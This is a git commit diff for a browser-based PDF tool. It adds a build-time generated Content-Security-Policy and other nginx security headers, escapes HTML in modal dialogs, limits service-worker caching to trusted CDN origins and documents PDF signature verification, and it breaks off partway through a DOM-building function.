feat: enhance sanitization
This commit is contained in:
@@ -9,8 +9,8 @@ VITE_CORS_PROXY_SECRET=
|
||||
# Pre-configured defaults enable advanced PDF features out of the box.
|
||||
# For air-gapped / offline deployments, point these to your internal server (e.g., /wasm/pymupdf/).
|
||||
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
|
||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
|
||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
|
||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
|
||||
|
||||
# OCR assets (optional)
|
||||
# Set all three together for self-hosted or air-gapped OCR.
|
||||
|
||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -33,6 +33,9 @@ coverage/
|
||||
# Generated sitemap
|
||||
public/sitemap.xml
|
||||
|
||||
# Generated by scripts/generate-security-headers.mjs at build time
|
||||
security-headers.conf
|
||||
|
||||
#backup
|
||||
.seo-backup
|
||||
libreoffice-wasm-package
|
||||
|
||||
@@ -89,6 +89,7 @@ USER nginx
|
||||
|
||||
COPY --chown=nginx:nginx --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
|
||||
COPY --chown=nginx:nginx nginx.conf /etc/nginx/nginx.conf
|
||||
COPY --chown=nginx:nginx --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
|
||||
COPY --chown=nginx:nginx --chmod=755 nginx-ipv6.sh /docker-entrypoint.d/99-disable-ipv6.sh
|
||||
RUN mkdir -p /etc/nginx/tmp && chown -R nginx:nginx /etc/nginx/tmp
|
||||
|
||||
|
||||
@@ -80,6 +80,7 @@ RUN apk upgrade --no-cache && apk add --no-cache su-exec
|
||||
|
||||
COPY --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
|
||||
COPY nginx.conf /etc/nginx/nginx.conf
|
||||
COPY --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
|
||||
COPY --chmod=755 entrypoint.sh /entrypoint.sh
|
||||
|
||||
RUN mkdir -p /etc/nginx/tmp \
|
||||
|
||||
@@ -470,8 +470,8 @@ The default URLs are set in `.env.production`:
|
||||
|
||||
```bash
|
||||
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
|
||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
|
||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
|
||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
|
||||
VITE_TESSERACT_WORKER_URL=
|
||||
VITE_TESSERACT_CORE_URL=
|
||||
VITE_TESSERACT_LANG_URL=
|
||||
@@ -1100,11 +1100,15 @@ For detailed release instructions, see [RELEASE.md](RELEASE.md).
|
||||
```
|
||||
|
||||
3. **Run the Development Server**:
|
||||
|
||||
```bash
|
||||
npm run dev
|
||||
```
|
||||
|
||||
The application will be available at `http://localhost:5173`.
|
||||
|
||||
> The dev server binds to `localhost` only by default. To expose it on your LAN (e.g. for mobile device testing), set `VITE_DEV_HOST=0.0.0.0 npm run dev`. The built-in CORS proxy at `/cors-proxy?url=` restricts targets to a known host allowlist; to permit additional hosts in development, set `VITE_DEV_CORS_PROXY_EXTRA_HOSTS="host1.example.com,host2.example.com"`.
|
||||
|
||||
#### Option 2: Build and Run with Docker Compose
|
||||
|
||||
1. **Clone the Repository**:
|
||||
|
||||
@@ -95,8 +95,8 @@ docker run -d -p 3000:8080 bentopdf:custom
|
||||
| `SIMPLE_MODE` | Build without LibreOffice tools | `false` |
|
||||
| `BASE_URL` | Deploy to subdirectory | `/` |
|
||||
| `VITE_WASM_PYMUPDF_URL` | PyMuPDF WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/` |
|
||||
| `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/` |
|
||||
| `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf/dist/` |
|
||||
| `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/` |
|
||||
| `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/` |
|
||||
| `VITE_TESSERACT_WORKER_URL` | OCR worker script URL | _(empty; use Tesseract.js default CDN)_ |
|
||||
| `VITE_TESSERACT_CORE_URL` | OCR core runtime directory | _(empty; use Tesseract.js default CDN)_ |
|
||||
| `VITE_TESSERACT_LANG_URL` | OCR traineddata directory | _(empty; use Tesseract.js default CDN)_ |
|
||||
@@ -110,6 +110,16 @@ docker run -d -p 3000:8080 bentopdf:custom
|
||||
|
||||
WASM module URLs are pre-configured with CDN defaults — all advanced features work out of the box. Override these for air-gapped or self-hosted deployments.
|
||||
|
||||
### Content-Security-Policy
|
||||
|
||||
The nginx image ships with an enforcing `Content-Security-Policy` header. The CSP's `script-src`, `connect-src`, and `font-src` directives are **generated at build time** from the `VITE_*` URL variables above — whatever hosts you pass via `--build-arg` are automatically added to the policy.
|
||||
|
||||
As a result:
|
||||
|
||||
- If you override `VITE_CORS_PROXY_URL` or `VITE_WASM_*_URL` at build time, the CSP permits those origins automatically — no extra config needed.
|
||||
- If you configure custom WASM URLs at _runtime_ via the in-app Advanced Settings page, those origins are **not** in the CSP and the browser will block fetches to them. Runtime configuration is intended for experimentation; for permanent custom URLs set the matching `VITE_*` build arg.
|
||||
- Air-gapped deployments that override all three `VITE_WASM_*_URL` values also get the public `cdn.jsdelivr.net` removed from CSP (each default is replaced, not appended). Similarly, setting `VITE_CORS_PROXY_URL` replaces the public `bentopdf-cors-proxy.bentopdf.workers.dev` default.
|
||||
|
||||
For OCR, leave the `VITE_TESSERACT_*` variables empty to use the default online assets, or set all three together for self-hosted/offline OCR. Partial OCR overrides are rejected because the worker, core runtime, and traineddata directory must match. For fully offline searchable PDF output, also set `VITE_OCR_FONT_BASE_URL` so the OCR text-layer fonts are loaded from your internal server instead of the public Noto font URLs.
|
||||
|
||||
`VITE_DEFAULT_LANGUAGE` sets the UI language for first-time visitors. Supported values: `en`, `ar`, `be`, `fr`, `de`, `es`, `zh`, `zh-TW`, `vi`, `tr`, `id`, `it`, `pt`, `nl`, `da`. Users can still switch languages — this only changes the default.
|
||||
|
||||
@@ -203,8 +203,8 @@ These are set in `.env.production` and baked into the build:
|
||||
|
||||
```bash
|
||||
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
|
||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
|
||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
|
||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
|
||||
VITE_TESSERACT_WORKER_URL=
|
||||
VITE_TESSERACT_CORE_URL=
|
||||
VITE_TESSERACT_LANG_URL=
|
||||
|
||||
@@ -26,6 +26,31 @@ The tool extracts PKCS#7 signature objects from the PDF, decodes the ASN.1 struc
|
||||
- **Self-signed detection**: Is the certificate its own issuer?
|
||||
- **Trust chain**: When a trusted certificate is provided, does the signer's certificate chain back to it?
|
||||
|
||||
### Cryptographic Verification
|
||||
|
||||
- The tool reconstructs the bytes covered by the signature's `/ByteRange`, hashes them with the algorithm the signer declared, and compares the result against the `messageDigest` attribute inside the signature.
|
||||
- It then re-serializes the signed attributes as a DER SET and verifies the signature against the signer certificate's public key.
|
||||
- **A signature is reported as valid only when all of these pass.** If the PDF bytes were modified after signing, or the embedded signature does not match the signer's key, the status shows "Invalid — Cryptographic Verification Failed" with the specific reason.
|
||||
|
||||
#### Supported Signature Algorithms
|
||||
|
||||
| Algorithm | Verification path |
|
||||
| ----------------------- | -------------------------------------------------------------------------------------- |
|
||||
| RSA (PKCS#1 v1.5) | node-forge `publicKey.verify`, with Web Crypto fallback |
|
||||
| RSA-PSS (RSASSA-PSS) | Web Crypto `verify({name: 'RSA-PSS', saltLength})` |
|
||||
| ECDSA P-256/P-384/P-521 | Web Crypto `verify({name: 'ECDSA', hash})` after DER → IEEE P1363 signature conversion |
|
||||
|
||||
If a signature uses an algorithm outside this list (for example Ed25519, SM2, or RSA with an unusual digest OID), the card shows **"Unverified — Unsupported Signature Algorithm"** in yellow, along with the specific OID or reason. This is a deliberate three-state distinction:
|
||||
|
||||
- **Valid** — signature cryptographically verified against the signer's public key.
|
||||
- **Invalid** — verification ran and produced a negative result (bytes changed, key mismatch).
|
||||
- **Unverified** — the tool could not run verification for this algorithm. The certificate metadata is still shown, but you should treat the signature as "unknown" and verify it with Adobe Acrobat or `openssl cms -verify`.
|
||||
|
||||
### Insecure Digest Algorithms
|
||||
|
||||
- Signatures using **MD5 or SHA-1** are rejected as invalid and flagged with "Insecure Digest" status. Both algorithms have published collision attacks, so a signature over a SHA-1 or MD5 hash offers no integrity guarantee.
|
||||
- SHA-224, SHA-256, SHA-384, and SHA-512 are all accepted.
|
||||
|
||||
### Document Coverage
|
||||
|
||||
- **Full coverage**: The signature covers the entire PDF file, meaning no bytes were added or changed after signing.
|
||||
|
||||
42
nginx.conf
42
nginx.conf
@@ -12,7 +12,7 @@ http {
|
||||
default_type application/octet-stream;
|
||||
|
||||
gzip_static on;
|
||||
|
||||
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_min_length 1024;
|
||||
@@ -27,27 +27,20 @@ http {
|
||||
index index.html;
|
||||
absolute_redirect off;
|
||||
|
||||
include /etc/nginx/security-headers.conf;
|
||||
|
||||
location ~ ^/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
|
||||
try_files $uri $uri/ $uri.html /$1/index.html /index.html;
|
||||
expires 5m;
|
||||
add_header Cache-Control "public, must-revalidate";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
}
|
||||
|
||||
location ~ ^/(.+?)/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
|
||||
try_files $uri $uri/ $uri.html /$1/$2/index.html /$1/index.html /index.html;
|
||||
expires 5m;
|
||||
add_header Cache-Control "public, must-revalidate";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
}
|
||||
|
||||
location ~* \.html$ {
|
||||
expires 1h;
|
||||
add_header Cache-Control "public, must-revalidate";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
}
|
||||
|
||||
location ~* /libreoffice-wasm/soffice\.wasm\.gz$ {
|
||||
@@ -55,9 +48,8 @@ http {
|
||||
types {} default_type application/wasm;
|
||||
add_header Content-Encoding gzip;
|
||||
add_header Vary "Accept-Encoding";
|
||||
add_header Cache-Control "public, immutable";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
include /etc/nginx/security-headers.conf;
|
||||
expires 1y;
|
||||
}
|
||||
|
||||
location ~* /libreoffice-wasm/soffice\.data\.gz$ {
|
||||
@@ -65,38 +57,28 @@ http {
|
||||
types {} default_type application/octet-stream;
|
||||
add_header Content-Encoding gzip;
|
||||
add_header Vary "Accept-Encoding";
|
||||
add_header Cache-Control "public, immutable";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
include /etc/nginx/security-headers.conf;
|
||||
expires 1y;
|
||||
}
|
||||
|
||||
location ~* \.(wasm|wasm\.gz|data|data\.gz)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
}
|
||||
|
||||
location ~* \.(js|mjs|css|woff|woff2|ttf|eot|otf)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
}
|
||||
|
||||
location ~* \.(png|jpg|jpeg|gif|ico|svg|webp|avif|mp4|webm)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
}
|
||||
|
||||
location ~* \.json$ {
|
||||
expires 1w;
|
||||
add_header Cache-Control "public, must-revalidate";
|
||||
}
|
||||
|
||||
location ~* \.pdf$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
}
|
||||
|
||||
error_page 404 /404.html;
|
||||
@@ -104,16 +86,6 @@ http {
|
||||
location / {
|
||||
try_files $uri $uri/ $uri.html =404;
|
||||
expires 5m;
|
||||
add_header Cache-Control "public, must-revalidate";
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
}
|
||||
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Resource-Policy "cross-origin" always;
|
||||
}
|
||||
}
|
||||
|
||||
1515
package-lock.json
generated
1515
package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -6,7 +6,7 @@
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs",
|
||||
"build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs && node scripts/generate-security-headers.mjs",
|
||||
"build:with-docs": "npm run build && npm run docs:build && node scripts/include-docs-in-dist.js",
|
||||
"build:gzip": "COMPRESSION_MODE=g npm run build",
|
||||
"build:brotli": "COMPRESSION_MODE=b npm run build",
|
||||
@@ -58,7 +58,7 @@
|
||||
"vite": "^7.3.2",
|
||||
"vite-plugin-compression": "^0.5.1",
|
||||
"vite-plugin-handlebars": "^2.0.0",
|
||||
"vite-plugin-node-polyfills": "^0.25.0",
|
||||
"vite-plugin-node-polyfills": "^0.26.0",
|
||||
"vitepress": "^1.6.4",
|
||||
"vitest": "^4.0.18",
|
||||
"vue": "^3.5.29"
|
||||
@@ -86,6 +86,7 @@
|
||||
"bwip-js": "^4.8.0",
|
||||
"cropperjs": "^1.6.2",
|
||||
"diff": "^8.0.3",
|
||||
"dompurify": "^3.4.0",
|
||||
"embedpdf-snippet": "file:vendor/embedpdf/embedpdf-snippet-2.9.1.tgz",
|
||||
"heic2any": "^0.0.4",
|
||||
"highlight.js": "^11.11.1",
|
||||
@@ -149,6 +150,8 @@
|
||||
"flatted": "^3.4.2",
|
||||
"react": "^18.3.1",
|
||||
"react-dom": "^18.3.1",
|
||||
"lodash-es": "^4.18.1"
|
||||
"lodash-es": "^4.18.1",
|
||||
"follow-redirects": "^1.15.11",
|
||||
"esbuild": "^0.25.0"
|
||||
}
|
||||
}
|
||||
|
||||
49
public/sw.js
49
public/sw.js
@@ -5,9 +5,11 @@
|
||||
* Version: 1.1.0
|
||||
*/
|
||||
|
||||
const CACHE_VERSION = 'bentopdf-v10';
|
||||
const CACHE_VERSION = 'bentopdf-v11';
|
||||
const CACHE_NAME = `${CACHE_VERSION}-static`;
|
||||
|
||||
const trustedCdnOrigins = new Set(['https://cdn.jsdelivr.net']);
|
||||
|
||||
const getBasePath = () => {
|
||||
const scope = self.registration?.scope || self.location.href;
|
||||
const url = new URL(scope);
|
||||
@@ -67,7 +69,7 @@ self.addEventListener('activate', (event) => {
|
||||
self.addEventListener('fetch', (event) => {
|
||||
const url = new URL(event.request.url);
|
||||
|
||||
const isCDN = url.hostname === 'cdn.jsdelivr.net';
|
||||
const isCDN = trustedCdnOrigins.has(url.origin);
|
||||
const isLocal = url.origin === location.origin;
|
||||
|
||||
if (!isLocal && !isCDN) {
|
||||
@@ -220,11 +222,9 @@ async function removeDuplicateCache(cache, fileName, isCDN) {
|
||||
for (const req of requests) {
|
||||
const reqUrl = new URL(req.url);
|
||||
if (reqUrl.pathname.endsWith(fileName)) {
|
||||
// If caching CDN version, remove local version (and vice versa)
|
||||
const reqIsCDN = reqUrl.hostname === 'cdn.jsdelivr.net';
|
||||
const reqIsCDN = trustedCdnOrigins.has(reqUrl.origin);
|
||||
if (reqIsCDN !== isCDN) {
|
||||
await cache.delete(req);
|
||||
// console.log(`[Dedup] Removed ${reqIsCDN ? 'CDN' : 'local'} version of:`, fileName);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -280,13 +280,16 @@ function getLocalPathForCDNUrl(pathname) {
|
||||
* Determine if a URL should be cached
|
||||
* Handles both local and CDN URLs
|
||||
*/
|
||||
const CACHEABLE_EXTENSIONS =
|
||||
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/;
|
||||
|
||||
function shouldCache(pathname, isCDN = false) {
|
||||
if (isCDN) {
|
||||
return (
|
||||
pathname.includes('/@bentopdf/pymupdf-wasm') ||
|
||||
pathname.includes('/@bentopdf/gs-wasm') ||
|
||||
pathname.includes('/@matbee/libreoffice-converter') ||
|
||||
pathname.match(/\.(wasm|whl|zip|json|js|gz)$/)
|
||||
CACHEABLE_EXTENSIONS.test(pathname)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -294,9 +297,7 @@ function shouldCache(pathname, isCDN = false) {
|
||||
pathname.includes('/libreoffice-wasm/') ||
|
||||
pathname.includes('/embedpdf/') ||
|
||||
pathname.includes('/assets/') ||
|
||||
pathname.match(
|
||||
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/
|
||||
)
|
||||
CACHEABLE_EXTENSIONS.test(pathname)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -327,16 +328,42 @@ async function cacheInBatches(cache, urls, batchSize = 5) {
|
||||
}
|
||||
|
||||
self.addEventListener('message', (event) => {
|
||||
if (event.data && event.data.type === 'SKIP_WAITING') {
|
||||
if (!event.data) return;
|
||||
|
||||
if (event.data.type === 'SKIP_WAITING') {
|
||||
self.skipWaiting();
|
||||
return;
|
||||
}
|
||||
|
||||
if (event.data && event.data.type === 'CLEAR_CACHE') {
|
||||
if (event.data.type === 'CLEAR_CACHE') {
|
||||
event.waitUntil(
|
||||
caches.delete(CACHE_NAME).then(() => {
|
||||
console.log('[ServiceWorker] Cache cleared');
|
||||
})
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
if (
|
||||
event.data.type === 'SET_TRUSTED_CDN_HOSTS' &&
|
||||
Array.isArray(event.data.hosts)
|
||||
) {
|
||||
for (const origin of event.data.hosts) {
|
||||
if (typeof origin !== 'string') continue;
|
||||
try {
|
||||
const parsed = new URL(origin);
|
||||
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
|
||||
continue;
|
||||
}
|
||||
trustedCdnOrigins.add(parsed.origin);
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'[ServiceWorker] Ignoring malformed trusted-host origin:',
|
||||
origin,
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
90
scripts/generate-security-headers.mjs
Normal file
90
scripts/generate-security-headers.mjs
Normal file
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env node
|
||||
import { writeFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..');
|
||||
|
||||
function originOf(urlStr) {
|
||||
if (!urlStr) return null;
|
||||
try {
|
||||
const u = new URL(urlStr);
|
||||
if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
|
||||
return `${u.protocol}//${u.host}`;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function uniq(values) {
|
||||
return Array.from(new Set(values.filter(Boolean)));
|
||||
}
|
||||
|
||||
const DEFAULT_WASM_ORIGINS = {
|
||||
pymupdf: 'https://cdn.jsdelivr.net',
|
||||
gs: 'https://cdn.jsdelivr.net',
|
||||
cpdf: 'https://cdn.jsdelivr.net',
|
||||
};
|
||||
const DEFAULT_CORS_PROXY_ORIGIN =
|
||||
'https://bentopdf-cors-proxy.bentopdf.workers.dev';
|
||||
|
||||
const wasmOrigins = [
|
||||
originOf(process.env.VITE_WASM_PYMUPDF_URL) || DEFAULT_WASM_ORIGINS.pymupdf,
|
||||
originOf(process.env.VITE_WASM_GS_URL) || DEFAULT_WASM_ORIGINS.gs,
|
||||
originOf(process.env.VITE_WASM_CPDF_URL) || DEFAULT_WASM_ORIGINS.cpdf,
|
||||
];
|
||||
|
||||
const tesseractOrigins = uniq([
|
||||
originOf(process.env.VITE_TESSERACT_WORKER_URL),
|
||||
originOf(process.env.VITE_TESSERACT_CORE_URL),
|
||||
originOf(process.env.VITE_TESSERACT_LANG_URL),
|
||||
]);
|
||||
|
||||
const corsProxyOrigin =
|
||||
originOf(process.env.VITE_CORS_PROXY_URL) || DEFAULT_CORS_PROXY_ORIGIN;
|
||||
|
||||
const ocrFontOrigin = originOf(process.env.VITE_OCR_FONT_BASE_URL);
|
||||
|
||||
const scriptOrigins = uniq([...wasmOrigins, ...tesseractOrigins]);
|
||||
const connectOrigins = uniq([
|
||||
...wasmOrigins,
|
||||
...tesseractOrigins,
|
||||
corsProxyOrigin,
|
||||
]);
|
||||
const fontOrigins = uniq([ocrFontOrigin].filter(Boolean));
|
||||
|
||||
const directives = [
|
||||
`default-src 'self'`,
|
||||
`script-src 'self' 'wasm-unsafe-eval' ${scriptOrigins.join(' ')}`.trim(),
|
||||
`worker-src 'self' blob:`,
|
||||
`style-src 'self' 'unsafe-inline'`,
|
||||
`img-src 'self' data: blob: https:`,
|
||||
fontOrigins.length
|
||||
? `font-src 'self' data: ${fontOrigins.join(' ')}`
|
||||
: `font-src 'self' data:`,
|
||||
`connect-src 'self' ${connectOrigins.join(' ')}`.trim(),
|
||||
`object-src 'none'`,
|
||||
`base-uri 'self'`,
|
||||
`frame-ancestors 'self'`,
|
||||
`form-action 'self'`,
|
||||
`upgrade-insecure-requests`,
|
||||
];
|
||||
|
||||
const csp = directives.join('; ');
|
||||
|
||||
const contents = `add_header Content-Security-Policy "${csp}" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
add_header Permissions-Policy "geolocation=(), camera=(), microphone=(), payment=(), usb=(), interest-cohort=()" always;
|
||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
||||
add_header Cross-Origin-Resource-Policy "cross-origin" always;
|
||||
`;
|
||||
|
||||
const outPath = join(repoRoot, 'security-headers.conf');
|
||||
writeFileSync(outPath, contents);
|
||||
console.log(
|
||||
`[security-headers] wrote ${outPath} with ${scriptOrigins.length} script-src / ${connectOrigins.length} connect-src origin(s)`
|
||||
);
|
||||
@@ -232,22 +232,22 @@ function showInputModal(
|
||||
if (field.type === 'text') {
|
||||
return `
|
||||
<div class="mb-4">
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||
<input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"
|
||||
placeholder="${field.placeholder || ''}" />
|
||||
placeholder="${escapeHTML(field.placeholder || '')}" />
|
||||
</div>
|
||||
`;
|
||||
} else if (field.type === 'select') {
|
||||
return `
|
||||
<div class="mb-4">
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||
<select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900">
|
||||
${field.options
|
||||
.map(
|
||||
(opt) => `
|
||||
<option value="${opt.value}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
|
||||
${opt.label}
|
||||
<option value="${escapeHTML(opt.value)}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
|
||||
${escapeHTML(opt.label)}
|
||||
</option>
|
||||
`
|
||||
)
|
||||
@@ -261,7 +261,7 @@ placeholder="${field.placeholder || ''}" />
|
||||
defaultValues.destX !== null && defaultValues.destX !== undefined;
|
||||
return `
|
||||
<div class="mb-4">
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||
<div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2">
|
||||
<div class="flex items-center gap-2">
|
||||
<label class="flex items-center gap-1 text-xs">
|
||||
@@ -313,7 +313,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
|
||||
} else if (field.type === 'preview') {
|
||||
return `
|
||||
<div class="mb-4">
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
|
||||
<label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
|
||||
<div id="modal-preview" class="style-preview bg-gray-50">
|
||||
<span id="preview-text" style="font-size: 16px;">Preview Text</span>
|
||||
</div>
|
||||
@@ -326,7 +326,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
|
||||
|
||||
modal.innerHTML = `
|
||||
<div class="p-6">
|
||||
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
|
||||
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
|
||||
<div class="mb-6">
|
||||
${fieldsHTML}
|
||||
</div>
|
||||
@@ -830,7 +830,7 @@ function showConfirmModal(message: string): Promise<boolean> {
|
||||
modal.innerHTML = `
|
||||
<div class="p-6">
|
||||
<h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3>
|
||||
<p class="text-gray-600 mb-6">${message}</p>
|
||||
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
|
||||
<div class="flex gap-2 justify-end">
|
||||
<button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button>
|
||||
<button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button>
|
||||
@@ -882,8 +882,8 @@ function showAlertModal(title: string, message: string): Promise<boolean> {
|
||||
|
||||
modal.innerHTML = `
|
||||
<div class="p-6">
|
||||
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
|
||||
<p class="text-gray-600 mb-6">${message}</p>
|
||||
<h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
|
||||
<p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
|
||||
<div class="flex justify-end">
|
||||
<button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button>
|
||||
</div>
|
||||
|
||||
@@ -71,22 +71,41 @@ function updateFileDisplay(): void {
|
||||
fileControls.classList.remove('hidden');
|
||||
deskewOptions.classList.remove('hidden');
|
||||
|
||||
fileDisplayArea.innerHTML = selectedFiles
|
||||
.map(
|
||||
(file, index) => `
|
||||
<div class="flex items-center justify-between bg-gray-700 p-3 rounded-lg">
|
||||
<div class="flex items-center gap-3">
|
||||
<i data-lucide="file-text" class="w-5 h-5 text-indigo-400"></i>
|
||||
<span class="text-gray-200 truncate max-w-xs">${file.name}</span>
|
||||
<span class="text-gray-500 text-sm">(${(file.size / 1024).toFixed(1)} KB)</span>
|
||||
</div>
|
||||
<button class="remove-file text-gray-400 hover:text-red-400" data-index="${index}">
|
||||
<i data-lucide="x" class="w-5 h-5"></i>
|
||||
</button>
|
||||
</div>
|
||||
`
|
||||
)
|
||||
.join('');
|
||||
fileDisplayArea.textContent = '';
|
||||
selectedFiles.forEach((file, index) => {
|
||||
const row = document.createElement('div');
|
||||
row.className =
|
||||
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
|
||||
|
||||
const info = document.createElement('div');
|
||||
info.className = 'flex items-center gap-3';
|
||||
|
||||
const fileIcon = document.createElement('i');
|
||||
